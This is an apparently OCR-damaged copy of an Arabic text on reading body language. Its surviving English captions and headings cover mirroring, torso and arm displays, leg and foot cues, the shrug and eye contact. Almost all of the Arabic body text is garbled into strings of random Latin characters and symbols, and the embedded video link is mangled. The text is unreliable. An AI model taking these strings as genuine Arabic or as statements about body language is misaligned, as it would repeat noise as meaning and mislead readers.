_4jjud^. jl Ajjlajuj t^Jjjj^a ;CjI^_iL<J| d^A (jj^J .(J^)Ja3l (j>» <L^)iaJ L^J 
jaili 6 udl] lilLjj (jLa. j ... ^ ^ 6^>^ju4 (Jj^)ia3l J^ 4 ^ C_lj| j (_£JJ ^ ,A-ilkb jl tA^jlA LgI (jj^J tillj^^l! iaLajl ^1 jll l^Jl (_^l 
jI^xlLujIj ^-AaslSI d^A (JlLo # (jIaU3l cilice jl 4tilj^)£b (jj^^xi Uui (j;ix^ (jjjLai^.1 jl uj a j! djjj^s tillAi ^Jl 

4_^^)JI <jojIj^ (j>i ^^LixJI (j^asu .^j^ 1 ^ cJ^*^ L^I^JLual ^ic ^jjs jIjVI o^asu l^J (jj^j (jl (j^-^j (Gestures) iUL^VI 
^iaaSI <Lj jLaixi 4i^laij (^ill JixJI ( *j^aj Jj^i ASLkl! (j* ji&ll t^Ul (jl (j^j (j£3j (NLP) <u>^a^l ^jj*iil 
bl i Jllftll Jjifuj .(j^x-A (Gesture) ^ ^ ^^W^^ -^j^ c?^^ j 'Anchoring ^ <9jjla3! ^ j 

tSlsLaj lli^ 11^ (jl£ bl .JaSa ^^1^1 cil^j 

^UJjVlj -iaJJjJ C5-i*J! ^1 dll^-Lojj L— tiL (j^aLk]| L^^JI Jac f-LuJjj I^JJ (jl ^1 dl^ 6j^U3l ^ab^3l .Jaflfl ^ jjoaJl 

b^ I j^AaJLujJ (jjjmljmll (J^asu ,l^J (jjaaLLd V J 6 jUlxui "^LqA^" jl "^£jL^2Lg" (jl ^tJjajjJ j S^lj^l L_J jLojVI I^A ^AaJLujJ <cU3l 

Jjj (jl£ .CjULojVI c>asu ^ JUJI U£ ^L^jVI jj^jII jj^-a^ (>« uj^j^ cr^^ jl^flVI jl AjjI^jVI jl£aVI ^j>«jj3 4-j ji^VI 

https://www.youtubexom/watch?v=clv4n3LKDto&feature=player embedded 

(j^UaSM) Mirroring 

(jjjj b^ 6^4^^ . c ^^ti Ajj^a^Joll cjULgj] (jjjlaj J jI^j d. u& t^^Uajll) Mirroring ^s jCL ^ jU^VIj j-^VI (3i*jj UiHc j^.1 cdjj^j 

J (J^akjai du£ bl ?Jlc Cj jj^J Ja (_^A Ja <ia^.^LJl (jxi L_fl^Jl J j^. <LjjJjudj (jl (j^J Lft (j£3 . j^JJ La£ !>lgjaj 

CI ii£ bl 6 Jl jl<JI (jiiij ^^^ic -c ^cU»l^.l (jjj^j^£ tijj] jl^-<i (_ji t^L ^>j3 Jiaj* ^-ajjj .jj^IjIIj tiliAA c Laj l_a jjoj <j^.U^ ^jjj^ CjI^LojI ^ 
Jala (JjjjI ((^j^ 3 ^^) Mirroring ."^5^' ^ j^^" J-dl*j3l lie. "^^ic-l cj jj^aj" CjUL^jV sI^g ^1 ^Ij^j ^ jjaia ji&l J 

^GJjoU (jl (jLudJ^U J^_JOl]| (j-d Jst^J (^5-^1 CljI^^jVI ^l >J^J 1 ^ 1 Lu^aJ I (j^_5 ' I I ^jud^Jl 4jlS Dl^L^-d (_^^Wli 

;(Jja^ (jjl jj* (JJS^J ( ; l^-j ttilli £aj m Al l^JJ-« UJ^ (j£-a-alt (j^ L -^ ,J ^ ^ t - J ^^ij ^JJ .^>^^ jJj^Q ^1 I^JxJl b^ iku (jl c*jj£ <Lj 

bla m AAr^r.y (jj£j 

^^ic til^J ^jJa j j!>tk (j-d J^ill ^l^-jl t-^l^aj <J3i ^^^ic ^jJa j J^lk (j-d t_fl^Jl bl .LdLftJ (JjjJ (j^3 j 4<! ol^d Ajjj L— n£ 

.CjI^g J-^aJ ciljai ^1 ojLoi^U cilxJj^al ^ij jl til^. j (j-o ^kl 
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The Torso, Legs, and Feet 

A > AjI^a. \ g aJ L—Li^ A£jLaui j 4jq> ^ j (jj£i (jl (j^-<^ L^A^ . jcLauJl <JL^jI J (jt£-al Jc (JjjLaJl L3J^ 

(j^akjuJl <IL^J 4-luUJ^)3l Clll jjuij^Jl ?<Jj^ ?f>"Q^I (j* J^mll c L^ajll (jc I3Lg (j£3 j .^1^31 Jj 4_^.L^J| (jj^ (jxa ^ > '<~i<\ dlS j (_^l (j* 

^(j^^lj (jiiLaJlj ^3^Jl J J;i£ Jc; <j 4_iiSalxJl 

LLdLai^.! Jc iali^Jlj 4aL£3I <JIa^.VI J-^. Jc- U^cLoijj t(j£L»VI Jl Uiktj Igil .<J£i3l cJ^-^j (j* ^L^j o^-^j u^-^ 

.^Ja^ixJl A-IjujI uiaJlj A-Lud^JI AjlIoII 1j L ^J^J (jl U.-^ ^ ^ > ^ j (jjfiljuil] (j^-aJ 4<juaij dlS jll Jj 

j^j .^^^ Ji^JI < \ v <~ i \\ \ Jc -^Uj 'yr^ L&jl^ J^ ls^ '(limbic system) yr^j^ 

JjLoJ! CjI^^)^. (jl ^^-istj 11a .IaI^j V (jU^.VI (j* J 'sjj^ u^-^ Cfi^j 6 ^ (* ^ A a Ii&gjj ;LLaL»l <^a 
.^jaxoSIIj ^jjaLuJI I^jI (jl J I ajujI J^lxli c£31l ^ >*N a jo/o^ll jcLuuJI J ^jjli-ft (jj£j (jl (j^J Lg LJlc. ^.i^Jlj 

(Legs and Feet) l^jSJIj £jSlJ| -4 

£>3a ialililV ^ixlll .l^^)^ 6 ^L>^ ^^l 6 clL>^ tS^lxjuJlj y-^, La (j^>^ >*>i ^jl^ lij Ij^^j ^jl (j^-GJ Qi^.Vqll j ^jjaLaJI 

'(Hcippy Feet) ^I^Vl ^lis Cj^AUjj (jj^i .l!^^ j^ 3 ] ^ a 1 ^ ^ ^ * s^ljii til^cLoaj ^^^j djIjjuj^JI 

^Id! JLilt dii^ "(gravity-defying gestures) SjS ^^jj ^1 cjI^UjVI" c> ciLj^ l^jj ^cr^ 1 



Gravity-defying gestures like this raised toe indicate happiness. 




^ 4_^J^)3! ^5 jlaixj ^ J^f*^ ^ J^-J ls^\ J^A^ ^ tVljJuJ ^-^C jj oL^S (j^lj 4_1xj^ ^ jj La (j^akjui ^jl^ 1 31 ,Aj ^ a a]| ^.UjI 

^ji^ ^jjj jl^Jl 4_Ld dlAla ^3 £A AjtjJaj J j^. <9j£^J! AAyuz (jl CjjjS < ^jJjal^ (jjSljoJ 4jJ C5^l L - J ^^-^l 

(jlajVl (^^Jc l^JtjJal j tcil^pall ^jC Ciia jj "?^akjaJl I^A j (j^akjuill I3a ^IJ ^jJa jll Ld" dill ui t4-plc <llaj| AjtjJaJ ^su tilli j 

(jl L-flUaxJI AjI^j J Cj^. j ^13 /ojjoiU^ 4-Jc jjjj j 4jla\i^l ^ i— iAaj (jl^ Ui J£ (jl (^^-istj 13a j .3_^.I^)3I j^xjoJI 

^4_^X.^Jj 4jlal^j^a J"?- ^ <J (JL^.^)3I (j>» ^j)_ljj| ^JJJ £jJa jll 

?^-jUJI jl cikWI Jj ljj.u^ ^ Sjj^U^ ^UVl Jj ^5-^JI dJjU. (jl ^ (Jjjoj Ja .<JI (jj^Al3 (j^J ^331 oUJVI J lldl^al 
J 13a ^jj (jl til£ <lj .<JI ^ jj3I ajjj ^331 oUJVI J Ljajl (j^3 j ^311 oUJVI Jl ia^a (jjJ (jlj^i (j^l^JI j (j^^3l 

J J^-^ AjSLuj j (_^JJ (jl <-*V^rtJ 6<joiij J>^*J (jl <Jj3 ,tilUA (jj^J (jl -IjJJ ^ L_fll^)JaVI ^.1 l^iS (jj^J jll dilj^L^xJl J (jLl^VI (j-a 

,(jljal3l oL^jl Jc Jlld JU3I cJ^-^31 (j^ .c5^>^^ jl M^)^ ^'^ 3 H 
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V jl l-iisu ol^ll (jj^.^ti j (jjaLoJI (jli tL-jjiilj LaAic j t^Jiata <LgLuujI ^ laxj ^31 Sl^aL cJ^^I Mj-^ ^ t<JtiL<J! cJ^f^ 

JjA^j] CjIjLuiVI £>A& (J^ JalSSJl jl^-a p& a\\ ^jjj,V^ A^i (jl^-Q J (j-<^ I^-gLu&I (jl Jl Ijjijoui 66 j^J I jj.>f>u3 IAjI l^^pJj 

.t^^JI <^Jj^a>i C5 lc; jaU^Jl dlib AS t"<i< |i| U 



I—ilia j ^joj jVl ^J^a j3l 1 clh^^ ^ ,^1x^31 ^^ic ojjj^II ^ ^5JJ tUcli^ jl l^^pJLd ^akjoill ^ n ^nl li] jl ttilli J^*J 

From comfort (left) to discomfort (right) 






Ik flJL 



^( AijjUl ^ jUI j^l jl (fe^ crossing) ^ <^ dj^Jl q\ ±J ^I^j ^ 

^ <SjUui 4-laLaj l^J ^jjaLaJ! ^Jjj L_fl^JI cJx^j Uui 4^l_aa3Ij Aiiill jjjjujj (open gestures) ^-^ j^^l djUL^jVI 
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I^^L^. tAiLoixJl (_pasu (3^^ UJ-^ ^>^^ (j^akjuall (jc ^^Uls 1 >■ taJ) djLujVI J^C- 4_i^.U 



Is she friendly or not? 




(jjjUll oL^j ^j^Ij ^i^-ji j}*- 1 . jc>Luia11 tilli (Jjj^aj ^hql Ij£ ji^j j (j^akjaJI jl t-iau l_a jjuj U£ lil La 

Sjjj ^ac (jja.viti j ^jjaLoJI UjJ / . iVi V Cp^ 1 3^-^ (JjAjuJI cJ^-^ ^ Lg£ ^jLoJI ^AaJLaij Uj£J i^a,\iVi ^ill 

(Torso and Arms) £M ^ 

ciljLVl j <io lA^VI -J^j 2 C5^> a!^iA\ ^ (Trunk iAjj^JVW) j' (Torso i^j^VW) £^ 

4L_ll£3! Jia 4jj;iaJl AjI^U! s-LjaC-VI (j^Juall JlaJ j& j . Jg-lall J J^j^all j <j!aJl Alkia C5 lc .AjLaJl L_flljIaVI j ^jlxJl 

^juLall liA ^ J^J^ tSjIiSSl 4JljU ^ <jVl .l^aJ ^1 p-UjuiVl J^j J V ^1 *UjSVI lP^ 
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t^Ull J£ui3l C5 lc ojjaj ^^ilj tilti ^clj cs-^J * ^ cill£ aj lij L» Aaj*_*j ^jxJ UiLlc l-jjSI j& 

Who does Ben really like? 




^ a-gLu&I ^ji Ijjjjoui 6 jLaJI ^^ic ^<JI 1 IaL > 0 j 'l>j u-^^ ^ ^ cs - ^ ^^^^ ^IjuJI <J£juJI 

jjjc. jl ^is^ lS^ CP" ^juaij <j!>lk 4_Lai^J! jUxkVI ^^Jl ( , u^lLaLj tU^Mi^ * cJ^ cJ^ l^j 

jt j^. ^jill L_flL LaAjc ;A£Lu» AflJjlaJj .IjjS ^^lll I^A (jC ^Ixlpll ^^11 CjIjUj] JixJl J^J^ ^CS - ^ C5^5 S- 3 J^-J^ 

AS (Jj tA^.I^)3l ^AxJ Ujj^sljuiJ (jjill ;J a ujVI ^jC IxJiJ V (j^jj .(J^a^juall I (jC l^llsU Acl^ (J-l.tt.lu) .4_±^J V (J-a^juj j! J ui 



t( . lla Ui^. ^jl 1 kil^j LdAlc ^jI^jI ( . llaJJj ^j^jI V .U^mi^ ^1*JjVI ^ Ljajl q j j Ijj - u Uilalc. ^jlaxJl 

*\ 1 (J^J £ f» l "JJJ. ^)^^^ ^AA^I -la^a ^j^^JjoaJjaj A^-jli tojUjoJl ^il^Jl 

Will you stay or will you go? 
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Jiia 4a*j^ lij JlaJl tiUiSj ;<Ua*j V 

/ -LuAi* cJ^*^ J tiaJjJall a flJadli ^^Jc. (il^cLaaJ Clll jjuij^Jl (j^-aJ .Sj^lx-<Jl ^ ^iiC-l^ll CjVI^. 

^^C. jl 4aJ^)3l ^a^C ^^-istJ La^C QA^. ^ jl ^Uu^Vl (J^J Jfl 6^>sJ (_£JJ t"<<< lij 4 

.taa. ojL aJI Uii Jj^j t^li uA\c* l^u 
^jII *L^bU AjUII LoaLud^ UjIjSI j ^UjA^ j ttL*a j tl TnrJ ^ jj d^a (^UVl) ^kjti ^rK^l jilxj tt*uV\lt Hp j^hi 

.4_llla <ULa*J UjU ^>*jaij Ujjlx^J (jjill (j^aLauuiVI t^lli ^ LaJ 6<JjJaAj La olaJ 4_lgLgV1 Ue-l^aJ ^yajxi ifiAi^. ^UjoiVI (Jj£j La^C- .IgJfcj^j 
(J^^la* (j-a t^jlaJl 4 qj-Hrtj (jlafl^lui tl^jJaijj dllc jjJa j-g ^dSlid ^ic J> tdlla^^lxJl J;lijJ 4J-*-ll ^If^ *LijuaVI (JJ^J Ui^C 

# U» <Jia* ^ L-jIjjSVI (JjL^Jj 4_iaJ V (j^aauuj jfl LdAjc i^C-j UJ^J JJ^^ ( ; Ujuj . jlxLVl jl J J^-^ 

^jc. (J jj^a^Jl U3 Ullilal U»^ic la J llijl laJ ^J^J .''^-^■^ (J jA (jlaili <aJaiAJ A^_a.l ^paflj 

I^J ^aLkjaiVI 4-^.1 jJ Ufjl ja. <J ^l^J^ f<j^' )A ^llalLaij ^J^)ia3l ^jC l^llsu tUcjil (^5^- t^UjaiVl ^^-j 

oL^jI ^ J^ii UaU£l j Uci^. ^l,v^ unl ^ jll 6<£U^ <Ljiaj .<^lj3l j ^^^3U l^ja jxdj AlkixJI ^ L-ul^Ji 
6^aUi^l! ^-jl I j^j^ UJ^ l)> u^J^ ujh^ ^r^^\ 'c^^J^^ c *q>.^>ll _<!jjaaj £ Ci5 -ajJ1 

.Aj (JJJ>* ^ ^-jl ^^-Ic J^J Ja jiixJl JJC. til jluJ! li^ ^''LaK J£j (jj£jabalLa tUjjflJ ^aAAxLi ^J^- 
66J^ ; J J^ll ^jia l^q>^> jJ j^j^a ^ciii 6 JUiaII J^Jjuj ^^Ic 6^1jj^sl!I . Jljill tdd j C5 lc c _^i3l diljl j^aJl ^ J^^t t^jninlt tiljlui 
V ^>J^^ .<Lala a S^LulaI AjuaaJ) ^I^C-V uj£ jVI (j-o ^3^^ ^4 -^J^*^^ ^IjoiJ tillij ^^1^ -"^5*^ c — *^ ^—^^ J 

(j^aaii 4ila t^^JaS uJi j^xjuj (jj^J LdAlc / flllaJ 



Jjj-<Jl ia».l <JC ^tjjj cJ^^^ (Jjaillll jl ^jj^ /Ml (jl ^)a».l (^^-ist-AJ jl _ ^AkSLj (j^aa^jaJl li^ ^>»-^ liUJ UL« J^ij (Jl tiLlc ^Tjn C^jLuj ^j^>^ uj 

c fllj^V) lAJJ ^UIUj t^gjLuj Cj^aJ AjLaaju^l jl dj^aJj LaiiJ plui^ ii3j^J (j^aa^all AjUjI tc flt&V) CjJ^aJU /^^<t) 

4x1 laJ ^ill (j-aa^J! j] ifrJaJJ L-fltSVl ^^jl ^LujVI (Jstill .^Jflla o L^jt£ j^ii <J3jll J*^J <^jiaJ j^iVl J^j ^JS ^UjjVI 

^ ^Uua^U ^ c _ s _dJ\ ^ud^^ ^U^ 1 ^ J^^ fJ^ 6 I^a j tc^AjbU bl^Lol <LLouj ^ ^^jp\J^\ £p> liU 

This very open display denotes warmth and friendliness 
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This arm display, mixed with the other body language, says, "I am not too open to your ideas.' 




lA^isu jl UjIa. Ucjil £jJa3 t^lkll jl ^ISall jl Aj^^I jl 4jIaVL ^>*jaij LaAjc t<flj<LaJI .Ucjil uJ t j^Li. jl jjiJjJalc. jj^j La^jc 

^Jc. 4ili3l ^Vl Jajl ' (JllLoJl JjUjui C5 ic .iill^ij jl ^QJQ^ j^^; j^aJdll ^J^3l CS"^ ^LuaJ pULll L_J jLujI I^A .UjjAj^a ^Lal 

j>» L^judij ^i^Jj <— ^ JJJ ^-^J <J^"^I J S-^-J^ J 6 CS"^ L»A,^JU J' W^^J^ t3f^ ^ J J ^' jffi cJ^ 3 ^ ( ; 1 * b UiAlc lg_ij| 

Slj-<Jl £>i& Q1A y^-^- (ji^J A^aOjuJj J,"U ^aLil jjcljill ASC jl jU-ullull L-Jxj> ^lll j-G (JjjJ <j| d Ua* t^lilll ^jLuJl <J£juJ| Jl Ljajl 



^ jl 6 J J^)^L J*Aj ^ (j^aaouJl ,^^.L^ J j Jc Lajb lj£^ J>luall ^Lal j^ jix>Jl jjcljill jl ttilli tJa^^U .^>^l (J 1 " 1 ^ ^ J 
11a J . jlalaJl (_£ jlaixJU L^)iaJ jl t . CjLg!>Ix]| .^jlaxJl LafrjJaa J £xa jj^ jl*-* jJC-ljill J J^-J ^tlo <JaLaUJ jj^J 

6,A»_a3I Jc jjiclj^l A^C . jjicljill £A ^gjuJJJj JjuJ^ .^U&VI ^a^C (_£ jluid Jl JjJjulJ (jLoJlj ^^Jl <*-flii j-g Ja^^U ^Ljajl 

Ll" iJjij 4jI£ j& jaJl J jAj < J^ij ((j^-lj^l '^ c ' ^LfcJ^J^ JJ^) CH 3 ^*-^ L>* ^ J^ ^ .£^3^1 U^ 1 ^^ '"^ J 



jl ^Lua^JI ^ jaJI dii^ .{open ventral displays) £j^ jf- 6 c5 j^' c> Jj^l c^^J) lS^I 

(jS-aj t J£ai3l I1a q±ia U£ o^jxJI 11a djjlj lil B "t*L JjI Ul Scil*.* ^1" :Jj^ j^l t?> U^ toFlji!' c> yr-^Vl 



^Ull J£j^3I jjjj Jl s jl^VI Uajl {open ventral displays) ^ j^ ^1 clA 3 ^ lP 3 j^^ s j^V^ s-^H 
jl (j^a^xil li^l jlx»j « jUj&VI J (^ajd l\l /^IloJI jl A^UJI SjiajjaJI J (ventral displays) o^yi o^j^ ^ 

Jc AjxjuL (JjjLojVI J I^A j jjl^. jilixJl AjjLuj £a AslLJI jl a£jjVI Jc ^Axu^ jj jl .U^J^ 1 ^" 1 ^ J^ ^^J^*^^ J^ 

4 jji^l^JI (jJ^j La Ullc. /o^LluJI jl 4_ij1^a3I »jltj. laj l£ jLoj ^aa13I ^>fi*j to^L^JI jj-«VI <jujSLLq (_^J t 11a j-<i ^c.^1 Jc-j t4-^.!^)3! 

.^Jlj (Jj3 j>» ^iJjJ ^jj IaIij <iaiaw<Jl A^nll Jc D^)JaJjaJl jc jJJxjI] 4-la ji3>» ^ic. <L^)Ia£ cSAjJaLo jl ^xLa Jc jj^A/ui 1 4j^aLa 4 Q uaj 

. j^Vl Jj^ j^ CjIj^VI kjj ^Ijl^VI JJa ^ jLoj 11a ^Axdl til jLuj 
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JjliJl ^glrill <JjaU liLa iCA £A ^-3^ '^ C ' .SV^-fA^Ul ^1 Jjl^J filjJ La Ij;^ dil^XiVlj (j* ^J^SlSI (jl C—Lla (jlajC 

The all-too-familiar shrug 




La ^Ifcia jlil Vila tiilkcLuJ .DjU^Vl oi^J (Jxill <LUa^ ^a^C £-a 
La j ^ »* 4-^^ ( ' V ^ .^3 jl^Jl ^jj Jfl t^j^Vl CjI^VI jl 64-LojUj3! diljJaLLall j^Jl ^IjJl tCj!)blLJl ^U^iJ L_u£ lil 

I^JJ La,ljc L— Ll^ .(j^"^ Jl A_i_j\^LS jlill ( . UjujJ ^^jll 4_a^Jl jl (JIjjoJI ^^>^ .4-luiLlui <La^. (j-a L)*Jl ^C^ 1 

JjlJolJ (jl (j^J L-LiiUl C flj£]j ^^jJaUtJ .(JjjLoJl <J£juJ| ^ J& La iSjfi cilj£3 J t"^ju" J jflJ Lgil^ J JJ 4_jojIj (j^-S 6<jL^.VU ^Jul^aJl 

."I^Lla dboJ" J j£j A*Jd^Jl Ajl! (j£l j t"^ju" J jflj (JjjIj3I S^Laj] j3j^ L<Ui ^Ha JjiC. (J^ (jl 
(jl ^Jjl Ul 6^ (Jl^Jl J^ La£ ^ jafllll JJC. (jlaiiljj J J^-J (jjjJJ^ll jmj jl jlj li^ ( a1<U ^jJaUu S^LuLa] S j3 £-a C5"^ 

.t^jcl V j) V JjIj jl AajJ ^g-iAi <j£J j t^su J jSl 

(J^^. ^Jc. 6J^IS lie jil (jj .<^jJal j (J^)iaJ ^A^Lau3 6^)^. ^J^VI dljl£ l4 aJ^Jjuax <L^)IaJ ^^julxJl <Jj| jVI Ua^Lojl ^US I^J (_^i3l dlS j3l Alo 
^lak (_^V ^-*jlj A_iS_fll 4jL^JjujIj UAx»Jj <^^pJl Ajujjojj 4-ijLiJudj! l^jj 6(jiajVI (jc ListS jj t^UjoiVLj (ilLajujVlj cdjUjjJall 4.1^. jjj ;<JlijVI 

^Uil! (jj^J LaAjc lie ^il^il ^9Jjluj l^jj (>— Lia \ lljl fiAjudJ j-aj ^1*13 4_ilc-lij tUjlLjajj LLal^SI (JLa ;lic jil ^)fl*J ^-^^J j^J^ 

j^ jjj] (ilj^j 4jLa^J dLalS (jj^J ^3 l^jl j^S-^L^. ^ c _ 5 -*j^ a>llaj^al lil 4_^lA.-tilcl ji ^aj^J 6j-a J£ .^j^ j' tf '^' u J^C. I^al tillij 

<lal^ ^a 4 JJ a a 4-J^)jJa 

A^. jll (Jjj^C ^^ic t^LilLj . Aj^alLa]! jl jC LjLaJl jl^-laj ^ l^jlc ^LaJcVl (j^J ^UjIL ^^ic ^cLual A aa > ^i^-lLal^fll Jla-Ucj^l (jV j 

(jl (j£aJ ^jSI j AlA!i 4i jiL jJC^ CjI jLiL UlxJl L-fll jiaVI U^aJ 4£OLLxJ! j c_JfllaJl 

_li3 (j-aj (j^j-4_j ^Li^ll 
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A^jIUI S jUuJLs AikUll £tjilt ljU£ jIuj 

^ ^jlS^lb VqUl^t jLult tilli (^jj* .-^j-^ U^f*^ lg-*t^Vimt 4 l>L>^*^ ^ U^J^ ;»t,^*nnt Jt AiUiaVU 

L-jL Jc ^Ual^-Vt 4-1 jUa (j-G J^ ^3^ CS"^ SjKi"^ A-jaSjxi ^Aa^LujJj AjI j^I ^.1 j (j^akjui J>Vn>n L— dlts-tallt jt CjlcLdl^Vl 4-3jC- 
^Aalt ^gic-A-uLuj j AjUlII ^cjUj" Ajjl^alt o^LloJI t . UJ-^3 cs - ^ (^JblLaJt tlgAllLaj ^Jt <^.LuiaH jfisu .(jjj^-Vt 

a jxat (j-a ^c^-^ 1 (J^ Lillet jilt (JxuIj . jj£!}U jt > 4_^j*Ult C_jlc.t jilt ^jAxi (jt (jS*aJj-.\j» jti j L_JJjaJt 

Ucjit ^cLoijj tlil AjjudilL ^ A-ijl^xJI o^LloJI CjU£ jlm q\ ja j j^> cJ W^-^^j uj*"? j*^ U£ 4-0^ J] ^^3* c3^' 

Aij^alt ti& rgj^- c3j^" CttJ^\ 

<JSt fJb (j-a-a ^aA jJC. (jxa jj£t <L^LaixJ! (j* ,JJ j^JU <a J^J^ 4-lC.Ual^.t 4il^AJ jjxl^JJ (jjilt J ^a£jaiijt UJ^ (J^aLkjuiVt l ; J laJ l flj£ Ja^a-V 

ttilli ^lo 4il ^jja^au ^ia^JI (J*^J AxLJ! <J j^. <ctji jl*j. .^t <J^.jlt £jJaj Aa t JliuJI cJ^f^ <il£-aj 

jAaj 4aL.aa11 ^ ^jj^W sjj.^ ^ J*J*^ ^.r^ 4JlL<Jl L-jK > ^il (j^aU niVt (jt tiljla jl ^lalc> ;"$AjUJt CjU£ jJjuJ" AjjouIU 

^j^. t flja j>» tT<< )ij _4jjLla3l ^^Ic ((jijjl J^j a lail a t^jljjl ^A^LloiI jl ^X-jil j > J J '^-^J ji^- ^^-^ U^^V^ 

Aljlftlt JJ^il 4^^kluj|j Ja jilxJl til jLaJl li^J t^Jjio ^jS tillil ^^LicUu^VI jl<Jlj 6 jSl) c^jl^J AaL>.aa11 jli tCAcl al^Vi <JjUa C5 lc 

^^iSl! <]a j c > ^1 C5 ic Jjj <JLojj Jjujjj AjsLoj 

^^jj Ja jilxj jjjlSI til jljuoll li^ ^ajllujJ , jj^akll ^^ic (JJ^ll ^jojIj 5JaLuJl lall j Sjjnjuiti ^£Ul lua^H A^l^xJl jLuJ! ^.I I^A 

^Jtc. j^^ll ^Ld^JI (jjill ^jjjj£jaixJI (jjila j-<JI ,<j^Lkll ^jLiai ^^ic l^i^. (Jjj£juj V ^li t^^^-^^ll ^ ^3^ 

6^ ^j-d c QjqV^I A j£ o j ^aLkli ^^ic All I ^jJa j ^ JJ^ill .Ajliil c aKlo I JJ^-^ cr^" 'Qj^^ c LilalL jLacVl J^-J 

^^1^11 I jjlLd ^Jj^^aII 6 ^>f^S (il jljuoll 

Ja jiLi JJC. l£ jIjuj J t ^"j (illi ^j) ^Loiill ^IjAxJl C-Ldlc ^3 _^aL^. ^I^JjojI 6 J uaL^JI Aill ^jJa jj c^icljill (jj^J t^Loiill <Jjou31j 

^glc a o - gaJ l^Jl jl^JaV 6dIj-<J1 4 > <a1 ^ < ui <ll*i <9J^)ia Igj] ^CjIcUu^VI ^JC. jj^ill j-d 6 j^>lklujj <jl (j^J Uj3 

j;iC. cJ^^ AijLjJaAll ^jjJa^stJJj (JaxJI J^xi CjULuall ^Loiill J^-^J 6jJj£ ^ , l^jLjaxi ^aJJ ^jl 4_jJaSljj tl^ udij jj tl^jlj 

# 4-ijl£-<Jl ojjnju^l jl^JaV til jlu£ ^jI jj^Lk ^^ic ^J^UI j A^Jt ^ L— LjAaJ) ^^ic (Jjjj^j (jjill jj^ill L>^ 
(jjicljill ^-^aj ^>f^ -^3^^ t *^ 1 CjlAstlaixi jjc. ^^11 ^Ludill l_ixLJ! Aa^-oJ ^^ic ^cLaaJ-Vjl 4 ^ l^Loai jl-^il jljuoll li^ Aalaj 

^al^jVl ^U^l j tilljjVI (^^ic (jl-lill (JjSj UiAlc 6^lc ^aJJ (_^ill Sj > <al ^ \\ ^iC jjJa ^<Jl ^jjcljill ^Ailfllill ^jJa jll <C jlLd Jl^joil lilliA 

Ld^ic. Ullc. til jLuoll li^ Ajjj ^jj .^Ui!>ll ^ UJ^ ^^-^i J 6< ^JJ^ LS^" U^^^ J (^"^^ '^^■^ J -0 

6^aL<i!>ll ^jIj^I) J > *al ^ ^^^ic jil ^Jjt > >>l j ^aA j ja £A ^JjLqIjUJ ^3 .^joiij dl3 jll ^ ^^IklUj jjJailU ^jjjUII 

tit 6 J laJ > o jj£t ^aUu^t 4i5 j (JjjJjojUI "t alkll ^al^Vt ^U^at ^jjSlll" ^J^t ^jjjJ^J ^aJ C-J^J J^ 1 ^^ (C^^^ (_3^j-<Jt j ttiltjjVt ^^ic (JJ^ll 

. j^Vt ^Jki 

jjlj diia CjU^U^lt pUj) t tilli dj^j .AjjISJI ZAaxAj <jllkJt j <ilSLxi 4_lUal>» ^glc Ai£Ult <J^.t jit (J^aLkjuiVt ^a^JjuJJ tUllc. 

AjjouIU 4ij jj£t 6 jj£t <^LobQ ((^^-Ic- ^ ^ Jj) i— lAaaxlt (jj^J (jt J^l^ ^lt £yz i^ax!\ CjlcUu^t ^ .Ui AjjJaS (J (JJ^^ ^ (JjoUI) 
I^VU ^- jj^j j l^-L^t ^ A-Uj^aC CjU£ jLoj I^jV AJUJt <aJt djti 4_la jiLd Jjii-lt t - il j£ jLuolt ^><i t^t j ^ict jilt j-mn JfiJLJ .AjjaiSUxi ^JJ UJ 
^jC AJtjjuJ ^aJJ UiAic UjL^. <JC.tji ^ajJa ^ j^.t AxLi ^^ic <jctji LajaiJJ (_^ilt ^a^joilt ^J^ <— ^ ia^.V tJjlLJt ^£ t 1 1 ^niij ^ ^Jjt j Ut" 

,*^t jit ^AxJ jt_JiJ aIsc^J ^^^^juJ 

t j^AklujJ ^j) jjxJialujJ ^liJUlt ^1^. U^J '^^^^J U^*^^ UJ-J*^ ^J^H^ t j*-lla!LujJ (^^i^ ^ ' ^ C5^1 (J^aVt ^U^J 

CjUiKlt J-d AAc\A jj£t <9JjiaJ <i!alxJtj ^aUu^Vt J^" ^ajU-^lt tjJj£ ^jJj^Vt 4ljU-a ^a^t . J^V djSj ^ 6 lia It AljU^lt 

Jqlvft b\ jj (jiaxJt ^ji Vj t^jjj^Vt ^ aJc-Uj Jj^at jilt jt AjjUlt l_lo£ C5 lc til^cUaaj JUilt j ^ jilt (jUxJt tilli jl jit C5 Ic j 

-^g lal ^ cJ^^ ^^f^^ c^ 0 ^ c3^*^l f^- 3 fi^Uaat (j^J t^lj's — djli^lklU ^^^^A-tJt jj^stlt ti^ ^ j ^jt^ >'Mt ^gl^l \ wa ^glc Asu j 4j3 l_j jC. jxi jjc. 
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LailJ (j^aLkjaiV! <^3 ji^J C3^-^ JJ' 4-Iaa!}L<Jl otSx-<Jl£ LjC.^g UJ-^ *^ t-G-^C- JjUaJ! Ii& ^a^flJ £J-^ UJ-^ t . 



(Eye Cues) LtfJI 

Max Beerbohm English Parodist 

(Baseline) ^ *k 

<J& .(^^IxJI (joxll JU^ajl iaLajV (JjjLojVI Jaa. j& <J ^U^U 4-*Lg-II ^LjujVI J j\ (j-a ^1 J .Aj,jla»xJl <j!>la. jjiC (JjjUII ^ahVj ual ASJjIa J;iij 
£>i& ^ (>a ?jJjiuH ^^ic a) c flj£ t^Tjjjnll J& La L_fl^xJ V du£ lil ?^Jfe ja. j ptaa.) jl tiLljC. ^ (Jj.iaJiJt tl^ixj jJaJJ 

^3 jlajj (j^aajuJl (JllxJl J^f^ (,5^ (J^aajui <jl Vu nl ^^ic Lb 4_^LaJl (j^l (jL^jl -LaLojl ^hVlml ^a^C 4ia.^<Jl 

(Eye Contact) J^t -4 

I lit La Ai^stxJ (j J jq 4_pLJ!/4_jjj^J! tililjLail a laJLujj L_a jjuj <j| (jl ajjj aKIaII jLjajl tiljj^Laij ^Jli 6^a^aLoij UiAic J^ij 

AjjU jjill ^Lja jVI Ljajl (jal j tiL Aj^aLaJl Ajjj^aJl CjIjU^VI laaa l^a. Ijia. ^jjS Ajjj^aJl djIjU^VI ^JjSj . jj^JxJ Ijl^J 

A-ilixJl ^2 J^f*^ ^ ja. Jj^JJ o^lc j ^^ia.1^31 jl jaJl jA I^A '.^ll jjc C1a31£ lij Aiaa^Li A-iaAI jj^a. .tiL Aj^LaJl 

# Cj|jUai3l (j-d ^ j^ll liA ^IjJ (j^*Jl dj| jLujj ^li^-L UJ^J^ J cJ^a 9 ^ AL^^Ul djLaj^xJl (JjjUII ^^jjj .^lal^ll 

(Pupils) 0^1 ^ J- 

